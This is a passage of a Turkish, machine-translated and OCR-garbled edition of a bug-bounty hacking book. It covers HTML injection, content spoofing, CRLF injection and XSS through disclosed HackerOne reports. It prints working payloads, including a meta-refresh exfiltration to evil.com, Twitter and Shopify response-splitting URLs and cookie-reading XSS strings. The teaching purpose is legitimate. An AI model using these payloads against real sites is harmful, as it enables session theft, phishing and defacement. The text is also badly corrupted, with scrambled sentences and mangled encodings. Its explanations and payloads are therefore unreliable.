Coinbase onlari ¢oziiyordu. Daha sonra bir adim daha ileri gittiler ve URI kodland:
biitiin karakterler.

bir harika Isvigre  Ordu bigak hangi igerir kodlama araglar

https://gchq.github.io/CyberChef/ . Kontrol etmenizi ve eklemenizi 6neririm
yararli araglar listenize

HTML Enjeksiyonu
2. HackerOne istenmeyen HTML icerigi

Zorluk : Orta

URL : hackerone.com

Rapor Baglantisi : https://hackerone.com/reports/112935,
Rapor Tarihi : 26 Ocak 2016

Odemeli Odiil : 500 Dolar

Tanim :

Yahoo! XSS (Siteler Arasi Kod Yazma Boliimiine dahil) 1

HTML editorlerini metin editorlerinde test etmeyi takintili hale getirdi. Bu oyunla dahil
HackerOne en Markdown editori, gibi seyler giren ismap = “yyy = xxx” ve “'test” iceride
goriintii Bunu yaparken, editoriin tek bir alint1 igerecegini fark ettim.

cifte alint1 iginde - sarkan bir isaretleme olarak bilinen sey.

dir-dir
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O zamanlar bunun anlamini ger¢ekten anlamadim. Enjekte edersen biliyordum
bagka bir yerde baska bir yerde alinti, ikisi bir tarayici tarafindan birlikte ayristirilabilir

aralarindaki tiim igerigi tek bir HTML 6gesi olarak gorecekti. Ornegin:

<h1> Bu bir testtir </h1> <p class = "some class"> bazi igerikler </p>"

Bu 6rnekte, gibi bir asili tek bir alinti ile bir meta etiketi enjekte etmeyi basardi
igerik 6zniteliginde asagidakiler bulunur:

<meta http-equiv = "refresh" content = '0; url = https:? //evil.com/log.php text =

Tarayici, gergeklestirildiginde iki tek tirnak arasinda her seyi gonderir

https: //evil.com'u ¢agiran yenileme eylemi (bir meta yenileme etiketi bir web tarayicisina talimat verir.
belirli bir zaman araligindan sonra gegerli web sayfasini veya gergeveyi otomatik olarak yeniler ve
tarayiciya URL Ozniteligi araciligryla yeni bir sayfa talep etmesini sdylemek igin kullanilir). Simdi, ¢ikiyor
bu, Inti De Ceukelaire 3 tarafindan HackerOne Report 110578'de bilindi ve agiklandi . Ne zaman

Bu halka oldu, kalbim biraz batt.

HackerOne'a gore, Redcarpet'in (Ruby'nin bir kiitiiphanesi olan) uygulanmasina giiveniyorlar.
Markdown iglemi) o zaman olan herhangi bir Markdown girisinin HTML ¢iktisindan kagmak igin
dogrudan kendi baslarina tehlikeli DOMSnerInnerHTML yontemi ile HTML DOM’a gegirilir.

React bileseni (React, dinamik olarak giincellemek i¢in kullanilabilecek bir Javascript kiitiiphanesidir.
web sayfasinin igerigi, sayfay1 yeniden yiliklemeden). HackerOne uygulamasinda, onlar

Potansiyel somiiriiye yol agan HTML ¢iktisini diizgiin sekilde asmak degildi. Simdi

Aciklamaya bakinca, yeni kodu test edecegimi diisiindiim. Geri dondiim ve test ettim

ekleyerek:

[test] (http://www.torontowebsitedeveloper.com "test ismap =" uyari xss "yyy =" test "")

2 https://hackerone.com/reports/112935

3 https://hackerone.com/intide

HTML Enjeksiyonu

hangi olarak islendi:
<a title = "'test" ismap = "uyar1 xss" yyy = "test" & # 39; ref = "http://www.toronotwebsitedeveloper.com"> Test </a>

Gordiigiiniiz gibi, <a> etiketine bir siiriit HTML enjekte ettim . Sonug olarak,
HackerOne orijinal diizeltmelerini geri ald1 ve tek tekliften kagmak igin ¢aligmaya bagladi
tekrar.

cikarimlar

Kod giincellendiginden, her seyin sabit oldugu anlamina gelmez. Test et.

Bir degisiklik yapildiginda, bu ayn1 zamanda hatalar1 igerebilecek yeni bir kod anlamina gelir.
Ek olarak, bir seyin dogru olmadigin1 diisiiniiyorsaniz, kazmaya devam edin! Ben ilk biliyordum
Son tek bir alint1 yapmak sorun olabilir, ancak nasil yararlanacagimi bilmiyordum ve

durdu. Devam etmeliydim. Aslinda meta yenileme hakkinda 6grendim

FileDescriptor'm blog.innerht.ml dosyasim okuyarak faydalanma (Kaynaklara dahil edilmistir)
boliim) ama ¢ok sonra.

3. Giivenlik I¢erigi Sahteciligi i¢cinde

Zorluk : Diisiik

URL : withinsecurity.com/wp-login.php
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Rapor Baglantisi : https://hackerone.com/reports/1110944
Rapor Tarihi : 16 Ocak 2015

Odemeli Odiil : 250 $
Tanmm :

Icerik sahtekarlig1 teknik olarak HTML’den farkl1 bir giivenlik ag181 olsa da
enjeksiyon, ben bir siteye sahip bir saldirganin benzer dogasini paylagan olarak buraya dahil
sectikleri icerigi verdi.

Giivenlik i¢inde, giris yolunu igeren Wordpress platformunda inga edilmistir.

withinsecurity.com/wp-login.php (site 0 zamandan beri HackerOne ¢ekirdegiyle birlestirilmistir.
platformu). Bir hacker, giris islemi sirasinda, bir hata olustugunda, i¢inde oldugunu fark etti.
Giivenlik, ayrica error parametresine karsilik gelen access denied islevini verir

URLde:

https://withinsecurity.com/wp-login.php?error=access_denied

Bunu farkeden hacker, error parametresini degistirmeyi denedi ve ne oldugunu buldu.
deger iletildi, siteye sunulan hata iletisinin bir pargas1 olarak verildi

kullanicilar. iste kullanilan 6rnek:

4 https:/hackerone.com/reports/111094

HTML Enjeksiyonu

https://withinsecurity.com/wp-login.php?error=Your%?20account%20has%20%hacked

WithinSecurity i¢erik Sahteciligi

Buradaki anahtar, sayfada goriintiilenen URL’deki parametreyi fark ediyordu. Basit
access_denied parametresini degistirme testi muhtemelen bu giivenlik agigini ortaya ¢ikardi
Bu da rapora yol agti.

cikarimlar

URL parametrelerine iletilmekte ve islenmekte ve
site icerigi Saldirganlarin kurbanlari aldatmast igin firsatlar sunabilirler
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Raz kG aiysthiovlemlerds buiunmaka Bazen P Grosi iR e somelanr
HTML enjeksiyonu Akilda tutulmasi 6nemlidir, bu rapor 250 dolar 6derken,
Gtivenlik i¢in asgari ikramiyeydi ve tiim programlar deger ve ddeme yapmazlardi.

bu tiir raporlar i¢in.

ozet

HTML Enjeksiyonu, siteler ve gelistiriciler i¢in bir glivenlik a¢181 sunar ¢linkii
kullanicilart kimlik avi yapin ve onlar1 kétii niyetli bilgilere hassas bir sekilde génderme veya onlari ziyaret etme konusunda kandirma
web siteleri.

HTML Enjeksiyonu 42

Bu tiir giivenlik agiklarini kesfetmek her zaman diiz HTML gondermekle ilgili degildir
ayrica, bir sitenin girilen metninizi URI kodlu gibi nasil yazabilecegini de kesfetme hakkinda
karakter. Ve tamamen HTML enjeksiyonuyla ayn1 olmasa da, icerik sahtekarlig1 benzer

Bu, bazi girdilerin HTML sayfasindaki bir kurbana geri yansitilmasini igerir. hackerlar

URL parametrelerini degistirme firsat1 bulmali ve

Sitede islenenler ancak tiim sitelerin bu tiirler i¢in deger ve 6deme yapmadigin1 unutmayin
Raporlarin
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8. CRLF Enjeksiyonu

Aciklama

Bir uygulamada satir basi satir satir besleme (CRLF) enjeksiyon giivenlik a¢ig1 olusuyor
kullanicr girigini dogru sekilde sterilize etmez ve satirbaginin eklenmesine izin verir
ve satir beslemeleri; HTML de dahil olmak iizere pek ¢ok Internet protokolii igin satir1 belirtir.

karilir ve 6zel bir 6nemi vardir.

Ornegin, HTTP mesaj ayristirmasi, boliimlerini tanimlamak icin CRLF karakterlerine dayanir.
RFC'lerde tanimlandi8: ve tarayicilarin kullandigi, basliklar dahil olmak iizere HTTP mesajlar1. URL
kodlanmusg, bu karakterler% 0D% 0A, kodu ¢6ziilmiis \ r \ n. Etkisi

CRLF Enjeksiyonu, HTTP Istegi Kacake¢iligi ve HTTP Yanit Bolmesini igerir.

HTTP Istegi Kagakgilig1, bir HTTP istegi bir sunucudan gegirildiginde gergeklesir
bir proxy veya giivenlik duvari gibi onu isler ve bagka bir sunucuya gegirir. Bu tip

giivenlik a¢181 sunlara neden olabilir:

+ Onbellek zehirlenmesi, bir saldirganin bagvurulardaki kayitlar1 degistirebilecegi bir durum
bir 6nbellek yerine onbellek ve kotii amagli sayfalar (6rnegin, JavaScript i¢eren) sunun
uygun sayfa
* Giivenligi onlemek i¢in CRLF'ler kullanilarak bir istegin hazirlanabilecegi Giivenlik Duvari kagagi.
cekler
» Saldir1 isteme, bir saldirganin HttpOnly ¢erezlerini ¢alabilecegi bir durum.
HTTP kimlik dogrulama bilgisi. Bu, XSS'ye benzer ancak etkilesim gerektirmez

saldirgan ile miisteri arasinda

Simdi, bu giivenlik agiklar1 mevcut olmakla birlikte, bunlari elde etmek ve ayrintilandirmak zor
bu kitabin kapsami diginda. Onlara sadece nasil oldugunu gostermek i¢in buraya bagvurdum.

Istek Kagakgiligmin etkisi siddetli olabilir.

Bununla birlikte, HTTP Yanit Bolme, bir saldirganin HTTP yanit basliklar1 eklemesine izin verir

ve potansiyel olarak HTTP cevap organlarii kontrol etmek ya da yaniti tamamen, etkili bir sekilde bdlmek
iki ayr1 yanit olusturma. Bu etkilidir, ¢linkii HTTP basliklarin1 degistirmek

bir kullaniciy1 beklenmeyen bir web sitesine yonlendirmek gibi istenmeyen davranislarla sonuglanabilir veya
saldirganlar tarafindan kontrol edilen agik¢a yeni icerik sunmak.
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CRLF Enjeksiyonu

1. Twitter HTTP Yanit Bolme

Zorluk : Yiiksek
URL : https://twitter.com/i/safety/report_story

Rapor Baglantisi : https://hackerone.com/reports/52042 1

Rapor Tarihi : 21 Nisan 2015
Odemeli Odiil : 3.500 Dolar
Tanim :

Nisan 2015°te, @filedescriptor, Twitter’a bilgisayar korsanlarina izin veren bir giivenlik ac¢181 oldugunu bildirdi
Bir HTTP istegine ek bilgi girerek keyfi bir ¢erez olugturmak igin.

Esasen, HTTP istegi https:/twitter.com/i/safety/report_story (Twitter kalint1 izin verien

kullanicilarm uygunsuz reklamlar: bildirmelerini saglamak), bir report_tweet_id parametresi igerecektir.
Yanit verirken, Twitter ayni parametreyi iceren bir ¢erez de donddiriir

HTTP istegi ile gegti. @Filedescriptor yapti81 testler sirasinda CR’nin

LF karakterleri sterilize edildi, LF'nin yerine bir bosluk kondu ve CR sonugland1

HTTP 400 (Hatal Istek Hatas1).

Ancak, bir bilgi ansiklopedisi olan FireFox’un daha dnce oldugunu bilmisti.

cerezleri ayarlarken alinan gegersiz karakterlerden siyrilan kodlama hatasi

kodlamak yerine. Bu, FireFox’un yalnizca belirli bir aralig1 kabul etmesinin bir sonucuydu.
kabul edilebilir degerler Twitter ile benzer bir yaklagimi test ederek, @filedescriptor kullandi
% 0A ile biten Unicode karakter &~ (U + 560A), bir Satir Beslemesi. Ama bu degildi

¢ozlim. Ancak bu parametre URL’de geg¢iriliyordu, yani URL’ydi.

UTEF-8 ile kodlanmis. Sonug olarak 4% E5% 98% 8A oldu.

Simdi, bu degeri gondererek, @filedescriptor, Twitter’in herhangi bir tespit edemedigini buldu
Kotii niyetli karakterler, sunucusunun degeri Unicode degerine geri dondiiriir
56 0A ve gegersiz karakteri kaldir. 56 Bu, satir besleme karakterlerini OA olarak birakti.

Siireci gosteren resminde gosterilmistir:

! https://hackerone.com/reports/52042
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CRLF Enjeksiyonu 45

CRLF Kod Cozme Siireci

Benzer bir sekilde, igeri gegmek miimkiin % 20Test:% E5% 98,% 8A% E5% 98,% 8DSet-gerez sonuglandi
% 0A ve% 0D iginde cerez basligina dahil edildi ve Set-
Cerez: Twitter'dan tekrar test edin.

Simdi, CLRF saldirilari, XSS saldirilarina izin verdiklerinde daha da tehlikeli olabilir (bkz.
Dabha fazla bilgi i¢in Siteler Aras1t Komut Dosyas1 Bolimil). Bu durumda, ¢linkii Twitter filtreleri vardi
atland1, @filedescriptor yanit1 bolebilir ve bir kullanicinin ¢alinmasi i¢in XSS yiiriitebilir

oturum ve belirteg. URL, bigimlendirme amaciyla birden fazla satira boliinmiistiir:

CRLF Enjeksiyonu 46

https://twitter.com/login?redirect_after login=
https://twitter.com:21/%E5%98%8 A%E5%98%8Dcontent-type:text/html%E5%98%8 A%E5%98%8D
Yer:% E5% 98,% 8A% E5% 98,% 8D% E5% 98,% 8A% E5% 98,% 8D% E5% 98,% BCsvg / Onload = uyar1% 28innerHT \
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ML% 29% E5% 98% BE

Biberlerde 3 bayt degerinin% E5% 98% 8A,% E5% 98% 8D,% E5% 98% BC olduguna dikkat edin.

% 98,% BE E5%. Bunlarin hepsi su sekilde ¢oziildii:

% E5% 98% 8A => 56 0A =>% 0A
% E5% 98% 8D => 56 0D =>% 0D
% E5% 98% BC 56 3C =>% 3C
% E5% 98% BE => 56 3E =>% 3E

Tiim bu karakterleri degistirmek ve gercekten satir sonlar1 eklemek, iste baslik

benziyor:

https:/twitter.com/login?redirect_after _login=https://twitter.com:21/
igerik tlirdi: text / html

yer:

<Svg / onload = alert (innerHTML)>

Gordiigiiniiz gibi, satir sonlart dondiiriilecek yeni bir baslik olusturulmasina izin veriyor
calistirilabilir JavaScript kodu ile - svg / onload = alert (innerHTML). Uyar1 bir

web sayfasinin igerigi ile Twitter i¢in bir kavram kaniti olarak agilir. Bununla

kodu, kotii niyetli bir kullanici siiphesiz bir kurbanin Twitter oturumu bilgilerini ¢alabilir
Ciinkii bu hassas bilgiler enjeksiyon bolgesinden sonra baglik olarak dahil edildi.
@filedescriptor kullandi.

c¢ikarimlar

Iyi saldir1, gézlem ve becerinin bir birlesimidir. Bu durumda, @ filedescrip-
tor, kodlamay1 yanlis kullanan 6nceki bir Firefox kodlama hatasini biliyordu.
Bu bilgiye dayanarak, Twitter'daki benzer kodlamalar1 denemesine neden oldu.
eklenen kotii amagli karakterleri alin.

Zafiyetleri ararken, daima digint diigiinmeyi unutmayin.
kutu ve sitenin girisi nasil ele aldigini gérmek i¢in kodlanmis degerleri gonderin.

2. v.shopify.com Yanit Bélme

Zorluk : Orta
URL : v.shopify.com/last_shop?x.myshopify.com

Rapor Baglantisi : https://hackerone.com/reports/106427>

2 https://hackerone.com/reports/106427

CRLF Enjeksiyonu

Rapor Tarihi : 22 Aralik 2015
Odemeli Odiil : 500 Dolar
Tanim :

Magaza yoneticisi olarak, Shopify bir ¢erez belirleyen sunucu tarafinda islevsellik igerir
Son girig yaptiginiz magazay1 kaydetmek i¢in tarayicinizda Muhtemelen bu bir

beri giris ve ¢ikis yaparken sizi alt alaniniza yonlendirmek i¢in kolaylik islevi

URL'ler STORENAME.myshopify.com modelini takip ediyor. Bu gerez ayar1 bir GET {izerinden gerceklesir

/last_shop?SITENAME.shopify.com adresine istek génder
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Aralik 2015°te, bir bilgisayar korsani Shopify’in shop parametresini dogrulamadigin bildirdi
cagriya aktariliyor. Sonug olarak, Burp Suite kullanarak, bu hacker istegi degistirdi

Shopify sunucularindan déndiiriilen yeni basliklar olusturmak i¢in% 0d% Oa ekleme. Iste bir
ekran goriintiisii:

Shopify HTTP Yanit Bélme

Iste kotii amagh kod:

% 0d% 0aContent-Uzunluk:% 200% 0d% 0a% 0d% 0aHTTP / 1.1% 20200% 200K % 0d% OaContent-Tip:% 20te \
xt / html% 0d% OaContent-Uzunluk:% 2019% 0d% 0a% 0d% Oa <htmI> deface </html>

Bu durumda,% 20 bir boslugu temsil eder ve% 0d% 0a, CRLF'dir. Sonug olarak, tarayic1
iki gecerli HTTP yanit1 ald1 ve
XSS ve phishing dahil olmak iizere ¢esitli giivenlik agiklari.

cikarimlar

Bir sitenin girisinizi kabul ettigi ve kullandig: firsatlar i¢in uyanik olun

doniis gerezlerinin bir pargasi olarak, dzellikle ¢erezleri ayarlayarak. Bu dzellikle
magdurdan daha az etkilesim olmasi nedeniyle, bir GET istegi ile gergeklestiginde 6nemli
gereklidir.

CRLF Enjeksiyonu

ozet

Iyi saldir1, gézlem ve becerinin bir birlesimidir ve kodlamanin ne oldugunu bilmek
Karakter agiklarindan yararlanabilmek i¢in kullanilabilecek zayif bir beceridir. % 0D% 0A
CRLF Enjeksiyon sorunlarina yol agabilecegi igin dzellikle dnemli karakterlerdir. Ne zaman

Hacking, potansiyel olarak saldirgan tarafindan kontrol edilen parametrelerin aranmasina dikkat edin.

HTTP bashigina geri yansitiliyor. Eger dyleyse, siteyi kullanimlari igin test etmeye baglayin
kodlanmis karakterlerin, 6zellikle% 0D% OA. Basarili olursa, bir adim daha atmaya ¢aligin
ve giivenlik a¢igin1 etkileyici bir konsept kanit1 i¢in bir XSS enjeksiyonuyla birlestirin.

Ote yandan, sunucu% 0D% 0A'ya yanit vermiyorsa, nasil yapabileceginizi diisiiniin
bu karakterleri ¢ift kodlayimn,% 250D degerini gegen veya
olayda, site @ @filedescriptor'in yaptig1 gibi ekstra degerleri yanlig kullaniyordur.
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9. Siteler Aras1 Komut Dosyasi1 Yazma

Aciklama

Siteler aras1 komut dosyasi ¢alistirma (veya XSS) giivenlik a¢i81 en iinlii 6rneklerinden biri

Samy Kamkar tarafindan olusturulan Myspace Samy Solucani. Ekim 2005’te Samy somiiriildii

Myspace’de bir JavaScript yiikiinii depolamasina izin veren bir XSS giivenlik agi1g1

onun profili. Girig yapan bir kullanic1 Myspace profilini ziyaret ettiginde, yiik tasima kodu

yiiriiterek, izleyicinin Samy'nin arkadasini Myspace'de ¢alistirmasi ve izleyicinin profilini giincellemesi

“ama hepsinden 6nemlisi samy benim kahramanim” metnini goriintiilemek i¢in. Sonra kod kendini kopyalardi
Izleyicinin profiline gidin ve diger Myspace kullanici sayfalarmi etkilemeye devam edin.

Samy solucani kotii niyetli bir niyetle yaratmadiysa da, Myspace ¢ok kibar davranmadi
ona ve hiikiimet Samy'nin evine baskin diizenledi. Samy, serbest birakildig: i¢in tutuklandi
solucan ve sugundan agir sugla sugu reddetti.

Samy'nin solucani agir1 bir 6rnek olsa da, yaptig1 istismara gore genis bir etki

XSS giivenlik agig1 bir web sitesinde olabilir. Ele aldigimiz diger giivenlik agiklarina benzer

su ana kadar, web siteleri belirli karakterleri izinsiz hale getirdiginde XSS agiklar ortaya ¢ikiyor,
bu da tarayicilarin istenmeyen JavaScript ¢calistirmasina neden olur. Bu karakterler ¢ift icerir



tirnak (“), tek tirnak (') ve agili ayraglar (<>). Onlar 6zel ¢linkii onlar
Bir web sayfasimin yapisini tamimlamak i¢in HTML ve JavaScript’te kullamlir. Ornegin, bir site olmasaydi

koseli parantezleri dezenfekte ederek <script> </script> i ekleyebilirsiniz :

<Script> alert (document.domain) </ script>

Bu yiik bir web sitesine gonderildiginde ve sagliksiz hale getirildiginde, <script> </script>
etiketler tarayiciya aralarinda JavaScript'i ¢alistirmasini sdyler. Bu durumda,

Yiik, goriintiilenen bir agilir pencereyi olusturan uyari iglevini uygular.

bilgi alarma gecti. Parantez i¢indeki belgeye referans

DOM ve bu durumda, sitenin etki alan1 adin1 dondiiriir. Yiik taginirsa

iizerinde https://www.example.com/foo/bar , pop-up kutusu goriintiileyecektir www.example.com .

Bir site bu karakterleri uygun sekilde sterilize ediyor olsaydi, HTML olarak islenirdi
varliklar. Onlarla bir web sayfasinin sayfa kaynagini goriintiilemek, "seklinde & quot; veya

& #34;, 'olarak & ' ; veya & 39;, <olarak & It; veya & # 60; ve> olarak & gt; veya & # 62; .

Bir XSS giivenlik ac1g1 bulduktan sonra, etkisini onaylamalisiniz, ¢iinkii hepsi degil
XSS giivenlik agiklart aynidir. Bir hatanin cihazimzdaki etkisini dogrulama ve onaylama
yazma, raporunuzu gelistirecek, tetik¢ilerin hatay1 dogrulamasina yardimei olacak ve

senin Odiliin.
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Ornegin, bir sitedeki httpOnly bayragini kullanmayan bir XSS giivenlik agig

Hassas gerezler, bir XSS giivenlik agigindan farklidir. HttpOnly olmadan

bayrak, XSS’niz ¢erez degerlerini okuyabilir ve bunlar oturum tanimlayici gerezleri igeriyorsa,

Bir hedefin oturumunu ¢alabilir ve hesaplarina erisebilirsiniz. Uyarabilirsin

Bunu onaylamak i¢in document.cookie (hangi ¢erezlerin hassas olarak degerlendirildigini bilmek

bir site, site bazinda deneme yanilma gerektirir). Sahip olmadigin durumlarda bile

Hassas tanimlama bilgilerine erigebilirseniz, bunu yapip yapamayacaginizi onaylamak i¢in document.domain 6gesini uyarabilirsiniz.
DOM’den hassas kullanic bilgilerine erigme ve

hedef. Dogru etki alan1 uyarilmadiysa, XSS site igin bir giivenlik aci1g1 olmayabilir.

Document.domain 6gesini bir sandboxed iFrame'den uyarirsaniz, 6rnegin JavaScript
cerezlere erisemediginden, kullanicinin hesabinda iglem yapamadigindan veya
DOM’dan hassas kullanici bilgilerine erigin. Bunun nedeni tarayicilarin bir
Giivenlik mekanizmasi olarak ayn1 Menge Politikasi (SOP).

SOP, belgelerin (DOM'deki D) kaynaklarla nasil etkilesime girmesine izin verildigini kisitlar

baska bir kaynaktan yiiklendi. SOP masum web sitelerini kétii niyetli sitelerden koruyor

kullanici araciligryla onlardan yararlanmaya caligmak. Ornegin, www.malicious.com adresini ziyaret ettiyseniz
ve tarayicinizda www.example.com/profile adresine bir GET istegi ¢agirds;

www.malicious.com’un www.example.com/profile yanitini okumasini engelleyin . Ancak,

www.example.com , diger sitelerin orijinale ¢apraz etkilesim kurmasina izin verebilir, ancak bu genellikle
belirli web siteleriyle sinirli ve genis, sinirsiz etkilesim genellikle bir hatadir.

Bir sitenin kokeni, ana bilgisayar protokolii (6rnegin, HTTP veya HTTPS) tarafindan belirlenir.
(6rnegin, www.example.com ) ve web sitesinin baglanti noktasi. Bu kuralin istisnasi

, baglant1 noktasin1 kaynagin bir parcasi olarak kabul etmeyen Internet Explorer'dir. Iste

Bazi koken 6rnekleri ve ayni olarak kabul edilip edilmeyecekleri

http://www.example.com .

URL Ayni1 Koken? neden

http://www.leanpub.com/web- Evet N/A
hack-101
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http://www.leanpub.com/a/yaworsk Evet N/A
https://www.leanpub.com/web- Hayir Farkli protokol
hack-101

http://store.leanpub.com/web- Hayir Farkli ev sahibi
hack-101

http://www.leanpub.com:8080/web- Hayir Farkli liman
hack-101

URL'nin orijin ile eslesmeyecegi bazi durumlar vardir. Tarayicilar

farkli iki SOP semalar1 baglaminda: hakkinda: bos ve JavaScript: . Bu iki sema

bunlar1 agarak belgenin kdkenini devralir. About: blank baglaminin bir parcasi

Tarayicidan bilgiye erismek veya tarayiciyla etkilesimde bulunmak i¢in kullanilan URL semast
kendisi. JavaScript URL semast, JavaScript'i yiirtitmek igin kullanilir. URL saglamiyor

Siteler Aras1 Komut Dosyast

orijini hakkinda bilgi, bu yiizden iki sema farkli ele alinir.

Bir XSS giivenlik a¢1g1 buldugunuzda, kanitinizda uyari (document.domain) kullanarak
kavram faydalidir, ¢linkii XSS'nin yiiriitiildiigii yeri teyit eder, 6rnegin

tarayicida gosterilen URL’nin orijinalden farkli oldugu durumlarda

XSS'nin kars1 ¢aligtigini. Bu tam olarak bir web sitesi agildiginda ne olur

javascript: URL. Www.example.com bir javascript: alert (document.domain) URL’si agtiysa,
tarayici adresi javascript gosterir : uyarist (document.domain) ancak uyar1 kutusu soyle derdi:

Uyari, 6nceki belgenin kaynagini devraldigi i¢in www.example.com.

XSS'ye ulagsmak i¢in yalnizca <script> etiketini kullanan bir 6rnek ele alsak da,

Potansiyel bir enjeksiyon buldugunuzda HTML etiketlerini her zaman gonderemezsiniz. Bunun iginde
Bu durumda, bir XSS yiikiinii enjekte etmek i¢in tek veya cift tirnak géndermeye devam edebilirsiniz.
Enjeksiyonun gerceklestigi yere bagli olarak bu hala 6nemli olabilir. Ornegin, hadi

Asagidaki kodun deger 6zelligine erisiminiz oldugunu sdyleyin:

<input type = "text" name = "kullanict ad1" value = "korsan">

Deger ozelligine ¢ift bir teklif enjekte ederek mevcut teklifi kapatabilirsiniz.
ve etikete kotii amacli bir XSS yiikii enjekte edin. Bunu degeri degistirerek yapabilirsiniz.

Ozniteligini Hacker "onfocus = alert (document.cookie'yi) otofokus" neden olacaktir:

<input type = "text" name = "kullanict ad1" value = "korsan" onfocus = alert (document.cookie) otomatik odaklama "">

Otomatik odaklama &zelligi, tarayiciya imle¢ odagini girise yerlestirmesi i¢in talimat verir.

Sayfa yiiklenir yiiklenmez ve metin kutusu netlendiginde metin kutusu kullanilan bir JavaScript 6zelligidir
Tarayiciya, giris metin kutusu odak oldugunda JavaScript’i ¢alistirmasini sdyleme

otomatik odaklama, odaklanma genellikle bir kisi metin kutusunu tikladiginda gergeklesir). Ancak,

bu, gizli bir alana otomatik netleme yapamayacaginiz ve bir ekranda birden ¢ok alan varsa

otofokus olan sayfa, ilk veya son geye bagli olarak odaklanacak.

tarayici test igin kullanilir. Yiik ¢alistirildiginda, document.cookie'yi uyarir.

Benzer sekilde, bir script etiketindeki bir degiskene erisiminiz oldugunu varsayalim. Yapabilseydin
Asagidaki koddaki isim degiskeni degerine tek tirnaklar eklerseniz,

degiskeni kapatin ve kendi JavaScript'inizi ¢aligtirin:

<Script>
var name = 'hacker;

</ Script>

Burada, hacker degerini kontrol ettigimizden, ad degiskenini hacker olarak degistirerek '; alert (document.cookie);'

51



Sayfa 64

sonuglanir:
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<Script>
var name = 'hacker'; alert (document.cookie); ";

</ Seript>

Tek bir fiyat teklifi ve noktal1 virgiil enjekte etmek degisken ismini kapatir ve

<script> etiketi, enjekte ettigimiz JavaScript islevi uyarisi (document.cookie)

idam. Bir ek ekledik; ' islev ¢agrimizi sonlandirmak ve JavaScript’in

site igerdigi i¢in sozdizimsel olarak dogru '; isim degiskenini kapatmak i¢in. 'Olmadan;
Sonunda, sayfa sdzdizimini kirabilecek sarkan bir tek alint1 olacakt.

XSS igin testler agisindan, iki ana tiir oldugunu fark etmek dnemlidir.

XSS: yansitilmig ve kaydedilmistir. Yansitilmig XSS, XSS yiikii teslim edildiginde gergeklesir ve
Tek bir HTTP istegi ile gergeklestirilir ve sitenin hicbir yerinde saklanmaz. Olmadigindan
saklandi, bagka bir HTTP istegi gondermeden yiikii ¢alistirmak miimkiin degil

yiik ile. Ancak, tarayicilarin (Chrome, Internet Explorer, Edge ve Safari)

XSS Denetgileri'ni tanitarak bu tiir giivenlik agigin1 6nlemeye ¢alisti. Bu insa

islevsellikte tarayicilar kullanicilar: kotii niyetli baglantilardan korumaya tesebbiis etmis
JavaScript'i yiiriitiin. Bu oldugunda, tarayic tipik olarak bozuk bir sayfa gosterir.

kullanicilart korumak i¢in sayfayi belirten bir mesaj engellendi.

Tarayici gelistiricilerin en iyi ¢abalarina ragmen, XSS Denetcileri sik sik atlaniyor
Bir sitede JavaScript'in yiiriitiilmesinin karmasik yollarindan dolay1. Bunlardan dolay1
sik sik degisimleri atlar, bu kitabin kapsami digindadir ancak iki

kaynaklari, FileDescriptor'in x-xss koruma bashgindaki blog yazisidir.1 ve Masato

Kinugawa'nin filtresi, kopya kagidi 2vi atladi .

Buna karsilik, depolanan XSS, bir site kotii amacli bir yiik olugturdugunda ve olusturdugunda ortaya ¢ikar
Temizlenmemis. Depolanan XSS'yi ararken, sitelerin goriintiileyebilecegini unutmayin.

Girilen yiik, ¢esitli konumlarda. Yiikiin yiiriitiilememesi miimkiindiir

gonderdikten hemen sonra ancak baska bir sayfaya erisildiginde ¢alisabilir. I¢in

Ornegin, bir web sitesinde, adimiz olarak XSS yiikii olan bir profil olusturduysaniz,

Profilinizi goriintiilediginizde XSS ¢aligmayabilir, ancak birileri arandiginda

adiniz veya birisi size bir mesaj gonderdi.

XSS ayrica iig alt tiire ayrilabilir: DOM Based, Blind ve Self. DOM

Tabanli XSS, bir web sitesinin mevcut JavaScript kodunu yiiriitmek {izere degistirilmesinin bir sonucudur
zararh javascript ve Sakli veya Yanstyan olabilir. Ornegin, bir web sitesi

web sitesinin i¢erigini URL’den bir degerle degistirmek i¢in asagidaki HTML’yi kulland1

Kotii niyetli girig kontrolii yapmadan XSS yiiriitmek miimkiin olabilir:

1hupsz/ blog.innerht.ml/the-misunderstood-x-xss-protection/
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<Html>
<Body>
<h1> Merhaba <span id = "name" > </span> </h1>
<Script>
Document.getElementById ( 'ad1'). innerHTML = location.hash.split ( '#') [1]
</ Script>
</ Body>
</ Html>

Bu 6rnek web sayfasinda, script etiketi belge nesnesinin getElementByld dosyasini ¢agirtyor
HTML 6gesini 'name' kimligiyle bulma yontemi. Bu bir referans dondiiriir

<h1> etiketindeki span 6gesi . Daha sonra, script etiketi metnin metnini degistiriyor.

arasinda <span id = "isim"> </ span> innerHTML y6ntemi kullanilarak. Komut dosyast
arasindaki metni <span> </ span> Bir # sonra location.hash gelen degere, ya da bir sey
URL’de (konum, DOM’ye benzer bir baska tarayict API’sidir ve erisim saglar

gecerli URL hakkinda bilgi almak i¢in).

Bu sayfaya www.example.com/hi adresinden erisilebilirse, www.example.com/hi#Peter adresini ziyaret edin.
sayfanin HTML’sinin dinamik olarak <h1> Hi Peter </h1> olarak giincellenmesine neden olur . Ancak,

Bu sayfa, yayilma 6gesini glincellemeden dnce URL'deki # degerini sterilize etmediginden,

Bir kullanict www.example.com/h1#<img src = x onerror = alert (document.domain)> adresini ziyaret ettiginde , bir JavaScript
Uyari kutusu, gosterilen www.example.com ile birlikte agilir (x goriintii olmadigini varsayarsak)

tarayiciya geri dondii). Sayfadan sonuglanan HTML s6yle goriiniir:

<Html>
<Body>
<h1> Merhaba <span id = "name" > <img src = x onerror = alert (document.domain) > </span> </h1>
<Script>
Document.getElementById ( 'ad1'). innerHTML = location.hash.split ( '#') [1]
</ Seript>
</ Body>

</ Html>

Kor XSS, XSS yiikiiniin bagka bir kullanici tarafindan olusturuldugu, depolanmig bir XSS tiiriidiir.
web sitesinin bir bilgisayar korsani genellikle erisemez. Ornegin, bu olabilir

Kigisel bir sey olustururken XSS'yi adiniz ve soyadiniz olarak ekleyebilirsiniz.

bir sitedeki profili. Diizenli kullanicilar profilinizi gériintiilediginde bu degerler kagabilir

ancak bir yonetici, sitedeki tiim yeni kullanicilar listeleyen bir yonetim sayfasini ziyaret ettiginde,
degerler sterilize edilemez ve XSS ¢alistirilamaz. XSSHunter araciMatt tarafindan 3

Bryant bunlar1 tespit etmek i¢in harika. Matt tarafindan tasarlanan yiikler JavaScript'i ¢alistirryor
DOM, tarayici bilgileri, ¢erezleri okumak i¢in tasarlanmis bir uzaktan komut dosyasini yiikler,

3 https://xsshunter.com/
